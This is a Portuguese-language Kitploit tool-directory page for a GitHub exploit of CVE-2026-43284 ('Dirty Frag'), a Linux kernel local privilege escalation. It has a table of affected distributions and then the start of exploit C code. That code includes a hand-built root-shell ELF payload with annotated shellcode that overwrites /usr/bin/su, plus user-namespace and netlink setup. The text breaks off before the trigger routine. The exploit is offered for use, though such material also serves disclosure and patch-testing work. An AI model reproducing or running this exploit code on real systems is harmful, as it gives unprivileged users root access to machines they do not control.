Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-43284 — Dirty Frag - vulnerabilidade crítica do kernel Linux | Kitploit
Ferramentas/GitHubGitHub/lucaspdiniz/cve-2026-43284
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoRed TeamingExploração de Binários
GitHublucaspdiniz/cve-2026-43284

CVE-2026-43284

Dirty Frag - vulnerabilidade crítica do kernel Linux

Ver Repositório
115há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Dirty Frag - kernel Linux vulnerabilidade crítica - CVE-2026-43284 📚

Introdução

A cadeia de exploração, classificada como uma Escalação de Privilégio Local (LPE), permite que um usuário não privilegiado obtenha acesso root em praticamente todas as distribuições Linux modernas que executam kernels lançados desde 2017, abrangendo aproximadamente nove anos de versões. A exploração opera sobre o caminho de descriptografia in-place dos módulos esp4, esp6 e rxrpc, corrompendo o cache de páginas do kernel por meio de syscalls padrão como splice(2) e sendmsg(2), não exigindo interação do usuário nem vetor de ataque remoto.

As duas vulnerabilidades componentes são:

  • xfrm-ESP Page-Cache Write - CVE-2026-43284, no caminho de entrada IPsec ESP. Mesclado na árvore netdev em 7 de maio de 2026 e aceito na mainline em 8 de maio de 2026 como o commit f4c50a4034e6 (abre em nova aba).

  • RxRPC Page-Cache Write - CVE-2026-43500 reservado, no caminho de verificação RxRPC do AFS. Não existe patch em nenhuma árvore no momento da divulgação.

Distribuições Afetadas

DistribuiçãoVersões AfetadasCVE-2026-43284 (ESP)CVE-2026-43500 (RxRPC)Status do Patch
RHEL8, 9, 10✅ Afetado✅ AfetadoCorrigido
AlmaLinux8, 9, 10✅ Afetado⚠️ somente 9 e 10¹Corrigido
Rocky Linux8, 9, 10✅ Afetado✅ AfetadoCorrigido
CentOS8✅ Afetado✅ AfetadoCorrigido
CloudLinux7 Hybrid, 8, 9, 10✅ Afetado✅ AfetadoCorrigido
Oracle LinuxRHCK / UEK afetados✅ Afetado✅ AfetadoCorrigido
Ubuntu20.04, 22.04, 24.04✅ Afetado✅ AfetadoCorrigido
DebianBullseye, Bookworm, Trixie✅ Afetado✅ AfetadoCorrigido (sid primeiro)
FedoraVersões atuais✅ Afetado✅ AfetadoCorrigido
Arch LinuxRolling✅ Afetado✅ AfetadoCorrigido
Amazon Linux2, 2023✅ Afetado✅ AfetadoCorrigido
Proxmox VEVersões atuais✅ Afetado✅ AfetadoCorrigido


Afetados: kernel Linux ≥ 4.14 (desde jan 2017) · Todas as principais distribuições · Sem vetor remoto CVSS 3.1: 8.8 ALTA (CVE-2026-43284) · Divulgado: 7 de maio de 2026 · PoC pública no dia zero Pesquisador: Hyunwoo Kim (@v4bel)

Explorando 🔓

  1. Para explorar esta vulnerabilidade, usaremos a prova de conceito abaixo, criando um arquivo chamado exp.c.``` #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sched.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <netinet/in.h> #include <arpa/inet.h> #include <net/if.h> #include <linux/if.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <linux/xfrm.h>

#ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif

#define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] / #define PAYLOAD_LEN 192 / bytes of shell_elf to write (48 triggers) / #define ENTRY_OFFSET 0x78 / shellcode entry inside the new ELF */

/*

  • 192-byte minimal x86_64 root-shell ELF.
  • _start at 0x400078:
  • setgid(0); setuid(0); setgroups(0, NULL);
    
  • execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
    
  • PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X.
  • Setting TERM in the new shell's env silences the
  • "tput: No value for $TERM" / "test: : integer expected" noise
  • /etc/bash.bashrc and friends emit when TERM is unset.
  • Code (from offset 0x78):
  • 31 ff xor edi, edi
  • 31 f6 xor esi, esi
  • 31 c0 xor eax, eax
  • b0 6a mov al, 0x6a ; setgid
  • 0f 05 syscall
  • b0 69 mov al, 0x69 ; setuid
  • 0f 05 syscall
  • b0 74 mov al, 0x74 ; setgroups
  • 0f 05 syscall
  • 6a 00 push 0 ; envp[1] = NULL
  • 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm"
  • 50 push rax ; envp[0]
  • 48 89 e2 mov rdx, rsp ; rdx = envp
  • 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh"
  • 31 f6 xor esi, esi ; rsi = NULL (argv)
  • 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve)
  • 0f 05 syscall ; execve("/bin/sh",NULL,envp)
  • "TERM=xterm\0" (offset 0xa5..0xaf)
  • "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, };

extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##VA_ARGS); } while (0)

static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; }

static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); }

static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); }

Baixar ferramenta